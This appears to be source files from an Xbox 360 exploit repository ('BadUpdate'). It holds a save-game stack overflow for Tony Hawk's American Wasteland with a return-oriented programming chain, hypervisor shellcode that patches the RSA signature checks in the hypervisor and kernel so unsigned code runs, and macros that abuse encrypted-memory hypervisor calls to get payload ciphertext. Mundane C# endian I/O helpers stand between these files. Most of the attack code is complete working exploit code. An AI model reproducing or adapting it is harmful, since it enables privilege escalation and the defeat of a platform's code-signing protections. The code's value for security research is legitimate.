204 | public uint ReadUInt32(Endianness Endian)
205 | {
206 | // Get Bytes
207 | byte[] Data = base.ReadBytes(4);
208 |
209 | // Reverse
210 | if (Endian == Endianness.Big)
211 | Array.Reverse(Data);
212 |
213 | // Return
214 | return BitConverter.ToUInt32(Data, 0);
215 | }
216 |
217 | public override ulong ReadUInt64()
218 | {
219 | return ReadUInt64(this.Endian);
220 | }
221 |
222 | public ulong ReadUInt64(Endianness Endian)
223 | {
224 | // Get Bytes
225 | byte[] Data = base.ReadBytes(8);
226 |
227 | // Reverse
228 | if (Endian == Endianness.Big)
229 | Array.Reverse(Data);
230 |
231 | // Return
232 | return BitConverter.ToUInt64(Data, 0);
233 | }
234 |
235 | #endregion
236 | }
237 | }
238 |
--------------------------------------------------------------------------------
/Stage1/TonyHawksAmericanWasteland/BadUpdateExploit.asm:
--------------------------------------------------------------------------------
1 | # Description: Save game exploit for Tony Hawk's American Wasteland for Xbox 360 (NTSC)
2 | # Author: Grimdoomer
3 |
4 |
5 | # Compiler flags, must be set before any code or include directives:
6 | .include "BuildConfig.asm"
7 |
8 | # Include the header for the data segment file.
9 | .include "BadUpdateExploit_Data_h.asm"
10 |
11 | # Include additional files:
12 | .include "Gadgets.asm"
13 |
14 | .set ExploitDataSegmentAddress, GapDataStartHeapAddress + (_data_segment_start - _gap_data_start)
15 | .set ExploitDataSegmentSize, _data_segment_end - _data_segment_start
16 |
17 | .set gap_data_base_addr_ptr, GapDataStartHeapAddress + (_gap_data_base_address_ptr - _gap_data_start)
18 |
19 | #---------------------------------------------------------
20 | # Gap name stack overflow
21 | #---------------------------------------------------------
22 | .long GapDataStartFileOffset
23 | .long (_gap_data_end - _gap_data_start)
24 |
25 | _gap_data_start:
26 |
27 | # +0 Start of gap 1 struct.
28 | .byte 0x08, 0x08, 0x1F, 0x1D
29 | .byte 0x00, 0x00, 0x31, 0x00
30 |
31 | # +8 Fill the gap name buffer with crap data.
32 | .byte "Grim R0x T0ny H4wk's S0x!"
33 | _1: .fill 70 - (_1 - _gap_data_start) - 2, 1, 0x69
34 |
35 | # +78 new register values for function prolog
36 | .long 0x23232323, 0x23232323 # r23
37 | .long 0x24242424, 0x24242424 # r24
38 | .long 0x25252525, 0x25252525 # r25
39 | .long 0x26262626, 0x26262626 # r26
40 | .long 0x27272727, 0x27272727 # r27
41 | .long 0x28282828, 0x28282828 # r28
42 | .long 0x29292929, 0x29292929 # r29
43 | .long 0x30303030, 0x30303030 # r30
44 | .long 0x31313131, 0x31313131 # r31
45 | .long stack_pivot # lr
46 | .long 0xffffffff #
47 | .long GapDataStartHeapAddress + (stack_data - _gap_data_start) + 8 # Target stack pivot address
48 |
49 | # null terminator
50 | .byte 0
51 | #.align 4
52 | 1: .fill 0x10 - ((GapDataStartHeapAddress + (1b - _gap_data_start)) % 0x10), 1, 0x00
53 |
54 | stack_data:
55 | ###########################################################
56 | # Gadget 0: stack pivot
57 | #
58 | # lwz r1, 0(r1) # Perform the stack pivot (r1 = stack_data + 8)
59 | # lwz r12, -8(r1) # Load next gadget address
60 | # mtlr r12
61 | # blr
62 | ###########################################################
63 | .long __restgprlr_31 # r12 - address of the next ROP gadget
64 | .long 0x00000000
65 |
66 | ###########################################################
67 | # Gadget N: copy exploit data into .binkdata segment for easier access
68 | #
69 | # r3 = dst address = address of .binkdata segment
70 | # r4 = src address = address of data segment data in park file buffer
71 | # r5 = size to copy = size of data segment data
72 | ###########################################################
73 | CALL_FUNC 11, memcpy, R3H=0, R3L=RuntimeDataSegmentAddress, R4H=0, R4L=ExploitDataSegmentAddress, R5H=0, R5L=ExploitDataSegmentSize
74 |
75 | ###########################################################
76 | # Gadget N: allocate virtual memory for second stage ROP chain data
77 | #
78 | # r3 = pointer to allocation address (NULL)
79 | # r4 = pointer to size variable (64kb allocation size)
80 | # r5 = allocation type = MEM_COMMIT
81 | # r6 = page protection = PAGE_READWRITE
82 | # r7 = memory region type
83 | ###########################################################
84 | CALL_FUNC 11, NtAllocateVirtualMemory, R3H=0, R3L=second_stage_chain_address, R4H=0, R4L=second_stage_chain_size, R5H=0, R5L=0x00001000, R6H=0, R6L=0x00000004, R7H=0, R7L=0
85 |
86 | ###########################################################
87 | # Gadget N: mount the payload folder so we can read the second stage ROP chain file
88 | #
89 | ###########################################################
90 | CREATE_SYMLINK hdd_symlink_mount, hdd_symlink_path
91 |
92 | ###########################################################
93 | # Gadget N: read the secondary ROP chain file into memory
94 | #
95 | ###########################################################
96 | _rf_offset = (1f - _gap_data_start)
97 | 1: READ_FILE secondary_payload_file_path, second_stage_chain_address, gap_data_base_addr_ptr, _rf_offset
98 |
99 | ###########################################################
100 | # Gadget N: offset the second stage ROP chain address to compensate for the stack pivot gadget used
101 | #
102 | ###########################################################
103 | LOAD_ADD_STORE second_stage_chain_address, 8 + second_stage_offset
104 |
105 | ###########################################################
106 | # Gadget N: write new stack pointer address into stack pivot gadget data
107 | #
108 | ###########################################################
109 | WRITE_PTR_TO_GADGET_DATA read_file_scratch, gap_data_base_addr_ptr, 1f - _gap_data_start, second_stage_chain_address
110 | .fill 0x50, 1, 0x00
111 | .long 0x31313131, 0x31313131 # r31
112 | .long stack_pivot # lr
113 | .long 0x00000000
114 |
115 | ###########################################################
116 | # Gadget N: pivot to second stage ROP chain
117 | #
118 | # lwz r1, 0(r1)
119 | # -lwz r12, -8(r1)
120 | # -mtlr r12
121 | # -blr
122 | ###########################################################
123 | 1: .long 0x41414141 # new stack pointer address, written by previous gadgets
124 |
125 |
126 | # Pad the data to the next 4 byte boundary.
127 | .long 0x00000000
128 |
129 | _buffer_overflow_end:
130 |
131 | _gap_data_base_address_ptr:
132 | .long GapDataStartHeapAddress
133 |
134 | #---------------------------------------------------------
135 | # Temporary data we copy to the .binkdata section
136 | #---------------------------------------------------------
137 |
138 | .include "BadUpdateExploit_Data.asm"
139 |
140 | # Secret symbol table:
141 | .long 0x69696969
142 | .long second_stage_chain_address
143 |
144 | _gap_data_end:
145 |
146 | #---------------------------------------------------------
147 | # End of file
148 | #---------------------------------------------------------
149 | .long 0xffffffff
150 |
--------------------------------------------------------------------------------
/Stage4/BadUpdateExploit-4thStage.asm:
--------------------------------------------------------------------------------
1 |
2 |
3 | # Note these addresses must be in the first segment of the hv or else a 64-bit address is required!
4 |
5 | .ifdef RETAIL_BUILD
6 |
7 | # Hypervisor function addresses for retail 17559:
8 | .set HvpRelocateCacheLines, 0x00000E14
9 | .set HvpSetRMCI, 0x00000398
10 |
11 | .else
12 | .error "Stage 4 support for debug builds not implemented"
13 | .endif
14 |
15 |
16 | _hv_payload_start:
17 |
18 | ###########################################################
19 | # Hypervisor shell code entry point
20 | #
21 | # r3 -
22 | # r4 - address of shell code payload
23 |
24 | .set StackSize, 0x30
25 | .set SmcCmdBuffer, -0x30
26 | .set s_r30, -0x18
27 | .set s_r31, -0x10
28 | .set linkreg, -0x8
29 |
30 | # Setup the stack frame.
31 | mflr %r12
32 | std %r12, linkreg(%r1)
33 | std %r30, s_r30(%r1)
34 | std %r31, s_r31(%r1)
35 | addi %r1, %r1, -StackSize
36 |
37 | # Save argument registers.
38 | mr %r31, %r4 # Shell code base address
39 |
40 | # Setup the SMC command buffer.
41 | addi %r12, %r1, StackSize+SmcCmdBuffer
42 | std %r0, 0(%r12)
43 | std %r0, 8(%r12)
44 |
45 | # Set the LED color command.
46 | li %r11, 0x99 # LED color cmd
47 | stb %r11, 0(%r12)
48 | li %r11, 0xFF # LED override
49 | stb %r11, 1(%r12)
50 | li %r11, 0xFF # color = orange
51 | stb %r11, 2(%r12)
52 |
53 | # Send the command to the SMC.
54 | mr %r3, %r12
55 | mr %r11, %r31
56 | addi %r11, %r11, (HvxSendSMCMessage - _hv_payload_start)
57 | mtctr %r11
58 | bctrl
59 |
60 | # Fix the hv data we trashed in the exploit.
61 | li %r5, 0x10000 / 0x80 # cache line count = segment size / cache line size
62 | ld %r4, (hv_restore_data_address - _hv_payload_start)(%r31) # dst = address of last hv segment
63 | addi %r3, %r31, (hypervisor_restore_data - _hv_payload_start) # src = address of clean hv data
64 | li %r11, HvpRelocateCacheLines
65 | mtctr %r11
66 | bctrl
67 |
68 | # Apply patches to the hypervisor so we can run unsigned code.
69 | lis %r4, 0x3860
70 | ori %r4, %r4, 1 # opcode for 'li r3, 1'
71 | ld %r3, (hv_rsa_patch_address - _hv_payload_start)(%r31)
72 | stw %r4, 0(%r3)
73 |
74 | # Flush cache.
75 | li %r5, 0x7F
76 | andc %r3, %r3, %r5
77 | icbi 0, %r3
78 |
79 | # Disable RMCI (enable caching) so we can touch the encrypted address range.
80 | li %r3, 0
81 | li %r11, HvpSetRMCI
82 | mtctr %r11
83 | bctrl
84 |
85 | # Apply patches to the kernel so we can run unsigned code.
86 | lis %r4, 0x3860
87 | ori %r4, %r4, 1 # opcode for 'li r3, 1'
88 | ld %r3, (kernel_rsa_patch_address - _hv_payload_start)(%r31)
89 | stw %r4, 0(%r3)
90 |
91 | # Flush cache.
92 | li %r5, 0x7F
93 | andc %r3, %r3, %r5
94 | icbi 0, %r3
95 |
96 | # Enable RMCI (disable caching).
97 | li %r3, 1
98 | li %r11, HvpSetRMCI
99 | mtctr %r11
100 | bctrl
101 |
102 | lis %r3, 0x4141
103 | ori %r3, %r3, 0x4141
104 |
105 | # Destroy the stack frame.
106 | addi %r1, %r1, StackSize
107 | ld %r30, s_r30(%r1)
108 | ld %r31, s_r31(%r1)
109 | ld %r12, linkreg(%r1)
110 | mtlr %r12
111 | blr
112 |
113 |
114 | ###########################################################
115 | # HvxSendSMCMessage (r3 pMessageBuffer)
116 | #
117 | ###########################################################
118 | HvxSendSMCMessage:
119 |
120 | # Setup stack frame.
121 | mflr %r12
122 | std %r12, -0x8(%r1)
123 | std %r31, -0x10(%r1)
124 | addi %r1, %r1, -0x20
125 |
126 | # Setup the SMC's physical address.
127 | lis %r31, 0x8000
128 | ori %r31, %r31, 0x200
129 | rldicr %r31, %r31, 32, 31
130 | oris %r31, %r31, 0xEA00
131 | ori %r31, %r31, 0x1000 # 0x80000200.EA001000
132 |
133 | # Wait for the SMC to become ready.
134 | smc_rdy_loop:
135 | #lwz %r11, 0x84(%r31) # poll SMC status register
136 | #rlwinm. %r11, %r11, 0, 29, 29
137 | #beq smc_rdy_loop # Loop until the smc is ready
138 |
139 | # Set the SMC status to busy.
140 | lis %r11, 0x400
141 | stw %r11, 0x84(%r31)
142 | eieio
143 |
144 | # Setup for command write loop.
145 | li %r11, 4
146 | mtctr %r11
147 |
148 | # Write the next 4 bytes of data to the SMC command register.
149 | smc_write:
150 | lwz %r11, 0(%r3) # get next dword
151 | addi %r3, %r3, 4
152 | stw %r11, 0x80(%r31) # write to SMC command register
153 | eieio
154 | bdnz smc_write # while (i-- > 0)
155 |
156 | # Set the SMC status to ready.
157 | li %r11, 0
158 | stw %r11, 0x84(%r31)
159 | eieio
160 |
161 | # Destroy stack frame.
162 | addi %r1, %r1, 0x20
163 | ld %r31, -0x10(%r1)
164 | ld %r12, -0x8(%r1)
165 | mtlr %r12
166 | blr
167 |
168 |
169 | ###########################################################
170 | # Data
171 | ###########################################################
172 |
173 | hv_restore_data_address:
174 | .long 0x80000106, 0x00030000 # Physical address of the last hv segment
175 |
176 | .ifdef RETAIL_BUILD
177 |
178 | hv_rsa_patch_address:
179 | .long 0x80000104, 0x00029B04 # Physical address of the 'bl XeCryptBnQwBeSigVerify' instruction in HvpImageSignatureVerification
180 |
181 | kernel_rsa_patch_address:
182 | .long 0x80000300, 0x0007BFDC # Physical address of the 'bl XeCryptBnQwBeSigVerify' instruction in XexpVerifyXexHeaders
183 |
184 | .else
185 | .error "Stage 4 support for debug builds not implemented"
186 | .endif
187 |
188 |
189 | # Align clean hypervisor data to cache line interval.
190 | .align 7
191 |
192 | hypervisor_restore_data:
193 |
194 | .ifdef RETAIL_BUILD
195 | # Clean hypervisor data for the last hypervisor segment we trash during the exploit.
196 | .incbin "Stage4_CleanHvData_Retail_17559.bin"
197 | .else
198 | .error "Stage 4 support for debug builds not implemented"
199 | .endif
200 |
201 |
202 |
--------------------------------------------------------------------------------
/Stage3/ObjLink/ObjLink/IO/EndianWriter.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.IO;
6 |
7 | namespace IO
8 | {
9 | public class EndianWriter : BinaryWriter
10 | {
11 | #region Fields
12 |
13 | public Endianness Endian { get; set; }
14 |
15 | #endregion
16 |
17 | #region Constructor
18 |
19 | public EndianWriter(Stream stream) : base(stream)
20 | {
21 | // Default to little endian.
22 | this.Endian = Endianness.Little;
23 | }
24 |
25 | public EndianWriter(Endianness Endian, Stream Output)
26 | : base(Output)
27 | {
28 | this.Endian = Endian;
29 | }
30 |
31 | public EndianWriter(Endianness Endian, Stream output, Encoding encoding)
32 | : base(output, encoding)
33 | {
34 | this.Endian = Endian;
35 | }
36 |
37 | #endregion
38 |
39 | #region Methods
40 |
41 | public override void Write(double value)
42 | {
43 | Write(Endian, value);
44 | }
45 |
46 | public void Write(Endianness Endian, double value)
47 | {
48 | // Get Bytes
49 | byte[] Data = BitConverter.GetBytes(value);
50 |
51 | // Endian Swap
52 | if (Endian == Endianness.Big)
53 | Array.Reverse(Data);
54 |
55 | // Write
56 | base.Write(Data);
57 | }
58 |
59 | public override void Write(float value)
60 | {
61 | Write(Endian, value);
62 | }
63 |
64 | public void Write(Endianness Endian, float value)
65 | {
66 | // Get Bytes
67 | byte[] Data = BitConverter.GetBytes(value);
68 |
69 | // Endian Swap
70 | if (Endian == Endianness.Big)
71 | Array.Reverse(Data);
72 |
73 | // Write
74 | base.Write(Data);
75 | }
76 |
77 | public override void Write(int value)
78 | {
79 | Write(Endian, value);
80 | }
81 |
82 | public void Write(Endianness Endian, int value)
83 | {
84 | // Get Bytes
85 | byte[] Data = BitConverter.GetBytes(value);
86 |
87 | // Endian Swap
88 | if (Endian == Endianness.Big)
89 | Array.Reverse(Data);
90 |
91 | // Write
92 | base.Write(Data);
93 | }
94 |
95 | public override void Write(long value)
96 | {
97 | Write(Endian, value);
98 | }
99 |
100 | public void Write(Endianness Endian, long value)
101 | {
102 | // Get Bytes
103 | byte[] Data = BitConverter.GetBytes(value);
104 |
105 | // Endian Swap
106 | if (Endian == Endianness.Big)
107 | Array.Reverse(Data);
108 |
109 | // Write
110 | base.Write(Data);
111 | }
112 |
113 | public override void Write(short value)
114 | {
115 | Write(Endian, value);
116 | }
117 |
118 | public void Write(Endianness Endian, short value)
119 | {
120 | // Get Bytes
121 | byte[] Data = BitConverter.GetBytes(value);
122 |
123 | // Endian Swap
124 | if (Endian == Endianness.Big)
125 | Array.Reverse(Data);
126 |
127 | // Write
128 | base.Write(Data);
129 | }
130 |
131 | public override void Write(uint value)
132 | {
133 | Write(Endian, value);
134 | }
135 |
136 | public void Write(Endianness Endian, uint value)
137 | {
138 | // Get Bytes
139 | byte[] Data = BitConverter.GetBytes(value);
140 |
141 | // Endian Swap
142 | if (Endian == Endianness.Big)
143 | Array.Reverse(Data);
144 |
145 | // Write
146 | base.Write(Data);
147 | }
148 |
149 | public override void Write(ulong value)
150 | {
151 | Write(Endian, value);
152 | }
153 |
154 | public void Write(Endianness Endian, ulong value)
155 | {
156 | // Get Bytes
157 | byte[] Data = BitConverter.GetBytes(value);
158 |
159 | // Endian Swap
160 | if (Endian == Endianness.Big)
161 | Array.Reverse(Data);
162 |
163 | // Write
164 | base.Write(Data);
165 | }
166 |
167 | public override void Write(ushort value)
168 | {
169 | Write(Endian, value);
170 | }
171 |
172 | public void Write(Endianness Endian, ushort value)
173 | {
174 | // Get Bytes
175 | byte[] Data = BitConverter.GetBytes(value);
176 |
177 | // Endian Swap
178 | if (Endian == Endianness.Big)
179 | Array.Reverse(Data);
180 |
181 | // Write
182 | base.Write(Data);
183 | }
184 |
185 | public void WriteNullTerminatingString(string Value)
186 | {
187 | WriteNullTerminatingString(Value, Value.Length + 1);
188 | }
189 |
190 | public void WriteNullTerminatingString(string Value, int MaxLength)
191 | {
192 | // Write String
193 | base.Write(Value.ToCharArray());
194 |
195 | // Write Padding
196 | base.Write(new byte[MaxLength - Value.Length]);
197 | }
198 |
199 | public void WriteUnicodeString(string Value, int MaxLength)
200 | {
201 | WriteUnicodeString(Endian, Value, MaxLength);
202 | }
203 |
204 | public void WriteUnicodeString(Endianness Endian, string Value, int MaxLength)
205 | {
206 | // Write Unicode String
207 | for (int i = 0; i < Value.Length; i++)
208 | {
209 | // Endian Swap
210 | if (Endian == Endianness.Big)
211 | {
212 | base.Write((byte)0);
213 | base.Write(Value[i]);
214 | }
215 | else
216 | {
217 | base.Write(Value[i]);
218 | base.Write((byte)0);
219 | }
220 | }
221 |
222 | // Write Padding
223 | base.Write(new byte[(MaxLength - Value.Length) * 2]);
224 | }
225 |
226 | public void AlignToBoundary(int alignment)
227 | {
228 | AlignToBoundary(alignment, 0x00);
229 | }
230 |
231 | public void AlignToBoundary(int alignment, byte value)
232 | {
233 | // Compute the padding size.
234 | int padding = alignment - ((int)base.BaseStream.Position % alignment);
235 |
236 | // Check if it is necessary to write any padding.
237 | if (padding != alignment)
238 | {
239 | // Write padding to stream.
240 | for (int i = 0; i < padding; i++)
241 | Write(value);
242 | }
243 | }
244 |
245 | public void WritePadding(int size, byte fill = 0x00)
246 | {
247 | // Write padding for the specified size.
248 | for (int i = 0; i < size; i++)
249 | Write(fill);
250 | }
251 |
252 | #endregion
253 | }
254 | }
255 |
--------------------------------------------------------------------------------
/Common/GetPayloadCipherText_Macros.asm:
--------------------------------------------------------------------------------
1 |
2 |
3 | # Notes:
4 | # - All macros have a common pro/epilogue where the caller must transition in/out using the
5 | # __restgprlr_31 gadget.
6 |
7 |
8 | ###########################################################
9 | # void CREATE_ENCRYPTED_ALLOCATION(base_addr, offset)
10 | #
11 | # TODO
12 | #
13 | ###########################################################
14 | .macro CREATE_ENCRYPTED_ALLOCATION base_addr, offset
15 |
16 | _create_encrypted_allocation_base_addr = .
17 |
18 | ###########################################################
19 | # Gadget N: prologue
20 | #
21 | # addi r1, r1, 0x60
22 | # lwz r12, -0x8(r1)
23 | # mtlr r12
24 | # ld r31, -0x10(r1)
25 | # blr
26 | ###########################################################
27 | .fill 0x50, 1, 0x00
28 | .long 0x31313131, 0x31313131 # r31
29 | .long __restgprlr_31 # lr
30 | .long 0x00000000
31 |
32 | ###########################################################
33 | # Gadget N: write value of BootAnimCodePagePhysAddr into gadget data below
34 | #
35 | ###########################################################
36 | WRITE_PTR_TO_GADGET_DATA read_file_scratch, \base_addr, \offset + ((2f + cf_r4_offset) - _create_encrypted_allocation_base_addr), BootAnimCodePagePhysAddr
37 |
38 | ###########################################################
39 | # Gadget N: call HvxEncryptedReserveAllocation
40 | #
41 | # r3 = virtual address
42 | # r4 = physical address = BootAnimCodePagePhysAddr (to be updated by previous gadgets)
43 | # r5 = allocation size = 64kb
44 | ###########################################################
45 | CALL_FUNC 2, HvxEncryptedReserveAllocation, R3H=0, R3L=EncryptedVirtualAddress, R4H=0, R4L=0x41414141, R5H=0, R5L=0x00010000
46 |
47 | ###########################################################
48 | # Gadget N: call HvxEncryptedEncryptAllocation
49 | #
50 | # r3 = virtual address of encrypted VA range
51 | ###########################################################
52 | CALL_FUNC 2, HvxEncryptedEncryptAllocation, R3H=0, R3L=EncryptedVirtualAddress
53 |
54 | ###########################################################
55 | # Gadget N: epilogue to be implemented by the caller
56 | #
57 | # addi r1, r1, 0x60
58 | # lwz r12, -0x8(r1)
59 | # mtlr r12
60 | # ld r31, -0x10(r1)
61 | # blr
62 | ###########################################################
63 |
64 | .endm
65 |
66 | ###########################################################
67 | # void FREE_ENCRYPTED_ALLOCATION()
68 | #
69 | # TODO
70 | #
71 | ###########################################################
72 | .macro FREE_ENCRYPTED_ALLOCATION
73 |
74 | ###########################################################
75 | # Gadget N: prologue
76 | #
77 | # addi r1, r1, 0x60
78 | # lwz r12, -0x8(r1)
79 | # mtlr r12
80 | # ld r31, -0x10(r1)
81 | # blr
82 | ###########################################################
83 | .fill 0x50, 1, 0x00
84 | .long 0x31313131, 0x31313131 # r31
85 | .long __restgprlr_31 # lr
86 | .long 0x00000000
87 |
88 | ###########################################################
89 | # Gadget N: call HvxEncryptedReleaseAllocation
90 | #
91 | # r3 = virtual address
92 | ###########################################################
93 | CALL_FUNC 999, HvxEncryptedReleaseAllocation, R3H=0, R3L=EncryptedVirtualAddress
94 |
95 | ###########################################################
96 | # Gadget N: epilogue to be implemented by the caller
97 | #
98 | # addi r1, r1, 0x60
99 | # lwz r12, -0x8(r1)
100 | # mtlr r12
101 | # ld r31, -0x10(r1)
102 | # blr
103 | ###########################################################
104 |
105 | .endm
106 |
107 | ###########################################################
108 | # void FLUSH_AND_COPY_CIPHER_TEXT()
109 | #
110 | # TODO
111 | #
112 | ###########################################################
113 | .macro FLUSH_AND_COPY_CIPHER_TEXT dstAddr, size, base_addr, offset
114 |
115 | _flush_and_copy_cipher_text_base_addr = .
116 |
117 | ###########################################################
118 | # Gadget N: prologue
119 | #
120 | # addi r1, r1, 0x60
121 | # lwz r12, -0x8(r1)
122 | # mtlr r12
123 | # ld r31, -0x10(r1)
124 | # blr
125 | ###########################################################
126 | .fill 0x50, 1, 0x00
127 | .long 0x31313131, 0x31313131 # r31
128 | .long __restgprlr_31 # lr
129 | .long 0x00000000
130 |
131 | ###########################################################
132 | # Gadget N: write CipherTextScratchBuffer into gadget data below
133 | #
134 | ###########################################################
135 | WRITE_PTR_TO_GADGET_DATA read_file_scratch, \base_addr, \offset + ((9f + cf_r3_offset) - _flush_and_copy_cipher_text_base_addr), CipherTextScratchBuffer
136 | WRITE_PTR_TO_GADGET_DATA read_file_scratch, \base_addr, \offset + ((8f + cf_r4_offset) - _flush_and_copy_cipher_text_base_addr), CipherTextScratchBuffer
137 |
138 | ###########################################################
139 | # Gadget N: write dstAddr into gadget data below
140 | #
141 | ###########################################################
142 | WRITE_PTR_TO_GADGET_DATA read_file_scratch, \base_addr, \offset + ((8f + cf_r3_offset) - _flush_and_copy_cipher_text_base_addr), \dstAddr
143 |
144 | ###########################################################
145 | # Gadget N: call KeFlushCacheRange and flush cache for the encrypted virtual address range
146 | #
147 | # r3 = address of data
148 | # r4 = size of data
149 | ###########################################################
150 | CALL_FUNC 999, KeFlushCacheRange, R3H=0, R3L=EncryptedVirtualAddress, R4H=0, R4L=\size
151 |
152 | ###########################################################
153 | # Gadget N: call KeFlushCacheRange and flush cache for the unencrypted physical address range
154 | #
155 | # r3 = address of data (to be filled in by previous gadgets)
156 | # r4 = size of data
157 | ###########################################################
158 | CALL_FUNC 9, KeFlushCacheRange, R3H=0, R3L=0x41414141, R4H=0, R4L=\size
159 |
160 | ###########################################################
161 | # Gadget N: call memcpy and copy cipher text for data
162 | #
163 | # r3 = destination address = dstAddr (to be filled in by previous gadgets)
164 | # r4 = source address = unencrypted physical address (to be filled in by previous gadgets)
165 | # r5 = size of data
166 | ###########################################################
167 | CALL_FUNC 8, memcpy, R3H=0, R3L=0x41414141, R4H=0, R4L=0x41414141, R5H=0, R5L=\size
168 |
169 | ###########################################################
170 | # Gadget N: epilogue to be implemented by the caller
171 | #
172 | # addi r1, r1, 0x60
173 | # lwz r12, -0x8(r1)
174 | # mtlr r12
175 | # ld r31, -0x10(r1)
176 | # blr
177 | ###########################################################
178 |
179 | .endm
180 |
181 |
--------------------------------------------------------------------------------
/Common/GetPayloadCipherText.asm:
--------------------------------------------------------------------------------
1 |
2 |
3 | ###########################################################
4 | # Gadget N: prologue
5 | #
6 | # addi r1, r1, 0x60
7 | # lwz r12, -0x8(r1)
8 | # mtlr r12
9 | # ld r31, -0x10(r1)
10 | # blr
11 | ###########################################################
12 | .fill 0x50, 1, 0x00
13 | .long 0x31313131, 0x31313131 # r31
14 | .long __restgprlr_31 # lr
15 | .long 0x00000000
16 |
17 | ###########################################################
18 | # Gadget N: write BootAnimCodePagePhysAddr value into gadget data for XPhysicalAlloc call below
19 | #
20 | ###########################################################
21 | WRITE_PTR_TO_GADGET_DATA read_file_scratch, second_stage_chain_address, (1f + cf_r4_offset) - _second_stage_chain_start, BootAnimCodePagePhysAddr
22 |
23 | ###########################################################
24 | # Gadget N: call XPhysicalAlloc and allocate scratch buffer
25 | #
26 | # r3 = allocation size
27 | # r4 = requested address (to be updated by previous gadgets)
28 | # r5 = alignment
29 | # r6 = page flags: PAGE_READWRITE | MEM_LARGE_PAGES
30 | ###########################################################
31 | CALL_FUNC 1, XPhysicalAlloc, R3H=0, R3L=0x00010000, R4H=0, R4L=0x41414141, R5H=0, R5L=0x00010000, R6H=0, R6L=0x20000004
32 | .fill 0x50, 1, 0x00
33 | .long 0x00000000, CipherTextScratchBuffer # r31
34 | .long stw_r3 # lr
35 | .long 0x00000000
36 |
37 | ###########################################################
38 | # Gadget N: store allocation address
39 | #
40 | # stw r3, 0(r31)
41 | # addi r1, r1, 0x60
42 | # lwz r12, -0x8(r1)
43 | # mtlr r12
44 | # ld r31, -0x10(r1)
45 | # blr
46 | ###########################################################
47 |
48 | # Loop and exhaust half of the possible whitening values for the memory address.
49 | .rept 512
50 |
51 | ###########################################################
52 | # Gadget N: allocate and free the target address range using the HvxEncrypted APIs to increase the whitening values on the page
53 | #
54 | ###########################################################
55 | 1: CREATE_ENCRYPTED_ALLOCATION second_stage_chain_address, 1b - _second_stage_chain_start
56 | FREE_ENCRYPTED_ALLOCATION
57 |
58 | .endr
59 |
60 | ###########################################################
61 | # Gadget N: allocate the target address range using the HvxEncrypted APIs
62 | #
63 | ###########################################################
64 | 1: CREATE_ENCRYPTED_ALLOCATION second_stage_chain_address, 1b - _second_stage_chain_start
65 |
66 | ###########################################################
67 | # Gadget N: copy boot animation oracle data to the encrypted virtual address range
68 | #
69 | # r3 = dst address = encrypted virtual address range
70 | # r4 = src address = boot animation oracle data
71 | # r5 = size of data to copy
72 | ###########################################################
73 | CALL_FUNC 111, memcpy, R3H=0, R3L=EncryptedVirtualAddress, R4H=0, R4L=abOracleData, R5H=0, R5L=0x00000010
74 |
75 | ###########################################################
76 | # Gadget N: flush cache and copy cipher text for oracle data
77 | #
78 | ###########################################################
79 | 1: FLUSH_AND_COPY_CIPHER_TEXT pPayloadCipherText, 0x10, second_stage_chain_address, 1b - _second_stage_chain_start
80 |
81 | ###########################################################
82 | # Gadget N: read the third stage payload into a scratch buffer
83 | #
84 | # Note: We must read the payload into a scratch buffer that's not the encrypted address range because the
85 | # southbridge cannot do DMA operations to encrypted memory, only unencrypted memory ranges. There doesn't
86 | # seem to be a flag to force buffering on ReadFile operations so we use our cipher text scratch buffer
87 | # to read the payload data and then memcpy it to the encrypted address range.
88 | #
89 | ###########################################################
90 | _get_payload_cipher_text_offset = 1f - _second_stage_chain_start
91 | 1: READ_FILE third_stage_payload_file_path, pPayloadCipherText2, second_stage_chain_address, _get_payload_cipher_text_offset
92 |
93 | ###########################################################
94 | # Gadget N: write pPayloadCipherText2 into gadget data below
95 | #
96 | ###########################################################
97 | WRITE_PTR_TO_GADGET_DATA read_file_scratch, second_stage_chain_address, (1f + cf_r4_offset) - _second_stage_chain_start, pPayloadCipherText2
98 |
99 | ###########################################################
100 | # Gadget N: copy the 3rd stage payload into the encrypted address range
101 | #
102 | # r3 = dst address = encrypted virtual address range
103 | # r4 = src address (to be filled in by previous gadgets)
104 | # r5 = size of data to copy
105 | ###########################################################
106 | CALL_FUNC 1, memcpy, R3H=0, R3L=EncryptedVirtualAddress, R4H=0, R4L=0x41414141, R5H=0, R5L=0x00010000
107 |
108 | ###########################################################
109 | # Gadget N: flush cache and copy cipher text for third stage payload data
110 | #
111 | ###########################################################
112 | 1: FLUSH_AND_COPY_CIPHER_TEXT pPayloadCipherText2, third_stage_max_size, second_stage_chain_address, 1b - _second_stage_chain_start
113 |
114 | ###########################################################
115 | # Gadget N: free the encrypted allocation for the target address range
116 | #
117 | ###########################################################
118 | FREE_ENCRYPTED_ALLOCATION
119 |
120 | # Loop and exhaust the remaining half of the whitening values for the memory address.
121 | .rept 511
122 |
123 | ###########################################################
124 | # Gadget N: allocate and free the target address range using the HvxEncrypted APIs to increase the whitening values on the page
125 | #
126 | ###########################################################
127 | 1: CREATE_ENCRYPTED_ALLOCATION second_stage_chain_address, 1b - _second_stage_chain_start
128 | FREE_ENCRYPTED_ALLOCATION
129 |
130 | .endr
131 |
132 | ###########################################################
133 | # Gadget N: write CipherTextScratchBuffer address into gadget data below
134 | #
135 | ###########################################################
136 | WRITE_PTR_TO_GADGET_DATA read_file_scratch, second_stage_chain_address, (1f + cf_r4_offset) - _second_stage_chain_start, CipherTextScratchBuffer
137 |
138 | ###########################################################
139 | # Gadget N: call XPhysicalFree and free the scratch buffer
140 | #
141 | # r3 = scratch buffer address (to be filled in by gadgets above)
142 | ###########################################################
143 | CALL_FUNC 1, MmFreePhysicalMemory, R3H=0, R3L=0, R4H=0, R4L=0x41414141
144 |
145 | ###########################################################
146 | # Gadget N: epilogue to be implemented by the caller
147 | #
148 | # addi r1, r1, 0x60
149 | # lwz r12, -0x8(r1)
150 | # mtlr r12
151 | # ld r31, -0x10(r1)
152 | # blr
153 | ###########################################################
154 |
155 |
--------------------------------------------------------------------------------
/Common/MemcpyCipherText.asm:
--------------------------------------------------------------------------------
1 |
2 |
3 | # Notes:
4 | # - All macros have a common pro/epilogue where the caller must transition in/out using the
5 | # __restgprlr_31 gadget.
6 |
7 |
8 | ###########################################################
9 | # void MEMCPY_CIPHER_TEXT_BLOCK()
10 | #
11 | # TODO
12 | #
13 | ###########################################################
14 | .macro MEMCPY_CIPHER_TEXT_BLOCK dstAddrPhys, srcAddrPhys, size
15 |
16 | ###########################################################
17 | # Gadget N: prologue
